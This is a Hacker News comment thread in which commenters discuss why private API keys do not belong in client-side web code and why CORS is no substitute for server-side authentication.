CORS is not securing the server, the Key Auth module was. The API key is user specific and what you see in the source code should be only your key and not anyone else's.

Am I right in thinking that storing secrets/API keys in cloud functions is OK though. i.e. CF cloud workers or similar

As long as it stays on the server the end user can not access it (unless they are exposed somehow).

Kinda scary to think modern dev standards are so poor that we have people publishing articles like this.

If the API key has some certain permissions I don't see any exploitation risk. In the end, Vue.js or any other HTML is basically a GUI for REST API. You should always limit your REST API operations on server-side and don't trust frontend validations. Power users are always able to access your sessions,cookies,tokens and can use them freely with API.

I find CORS is generally a good interview question for frontend or full stack engineers.

Correct. A simple PHP proxy script can be handy for caching and defeating CORS.

CORS cannot be defeated, because it does not protect

TLDR don't share a private api key on the client side and also, don't conflate CORS with keeping secure information secure.

Sorry bit of noob here with all these web security element.

What does it mean to share API key on client side? Is it same as passing the header based authorization for client? API keys are something like JWT?

You don't want to share security credentials in source code on a web page, that is effectively sharing the credentials with the rest of the world.

NoSherlock and Captain Obvious shook hands for this

I do like it when Google API or someone pings you when that's publicly committed although it's usually on purpose/you limit the referrer.

The CORS thing is funny, I like seeing the scans people do on your servers like .env or some php script

Applications are open for YC Summer 2023

Guidelines | FAQ | Lists | API | Security | Legal | Apply to YC | Contact